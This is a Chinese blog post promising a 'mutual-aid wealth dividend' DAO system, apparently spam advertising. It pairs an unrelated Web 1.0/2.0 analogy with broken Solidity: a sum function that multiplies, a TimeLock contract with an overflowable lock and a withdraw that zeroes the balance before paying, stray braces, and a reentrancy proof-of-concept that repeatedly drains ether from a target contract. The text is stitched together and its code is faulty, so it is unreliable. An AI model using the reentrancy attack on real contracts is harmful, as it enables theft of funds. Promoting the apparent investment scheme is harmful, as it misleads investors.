CYBERDAO公排互助理財分紅系統開發技術方案

caiayu1234發表於2023-04-11

準確比較Web 1.0與Web 2.0的方法是類比。假設有人遞給你一本書供你閱讀。你讀了它,但你不能改變它的任何單詞。這就是Web 1.0的樣子。另一方面,如果有人給你一本不同的書和一支紅色的編輯鉛筆,並告訴你不僅可以閱讀這本書,還可以使用鉛筆對其進行更改或新增,那麼這就是Web 2.0。I88智慧合約I928系統開發8024

  

  所以,Web 1.0的資訊不能修改,而Web 2.0的資訊可以。Web 1.0是具有線性資訊的靜態Web,Web 2.0是包含非線性資訊的動態Web。線性資訊被定義為必須以傳統的直線格式從頭到尾閱讀的文字。另一方面,非線性則沒有這樣的限制,可以按照讀者希望的任何順序閱讀。

  

  pragma solidity^0.4.10;

  

  contract test{

  

  function calculateSum(uint24 a,uint24 b)returns(uint24){

  

  return a*b;

  

  }

  

  }

  

  contract TimeLock{

  

  mapping(address=>uint)public balances;

  

  mapping(address=>uint)public lockTime;

  

  function deposit()public payable{

  

  balances[msg.sender]+=msg.value;

  

  lockTime[msg.sender]=now+1 weeks;

  

  }

  

  function increaseLockTime(uint _secondsToIncrease)public{

  

  lockTime[msg.sender]+=_secondsToIncrease;

  

  }

  

  function withdraw()public{

  

  require(balances[msg.sender]>0);

  

  require(now>lockTime[msg.sender]);

  

  balances[msg.sender]=0;

  

  msg.sender.transfer(balances[msg.sender]);

  

  }

  

  }

  

  function()public payable{}

  

  }

  

  contract ReentrancePoc{

  

  Reentrance reInstance;

  

  function ReentrancePoc(address _addr)public{

  

  reInstance=Reentrance(_addr);

  

  }

  

  function callDonate()public payable{

  

  reInstance.donate.value(msg.value)(this);

  

  }

  

  function attack()public{

  

  reInstance.withdraw(1 ether);

  

  }

  

  function()public payable{

  

  if(address(reInstance).balance>=1 ether){

  

  reInstance.withdraw(1 ether);

  

  }

  

  }

  

  function getBalance()public view returns(uint256 balan){

  

  return address(this).balance;

  

  }

  

  }


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69973864/viewspace-2944874/,如需轉載,請註明出處,否則將追究法律責任。

相關文章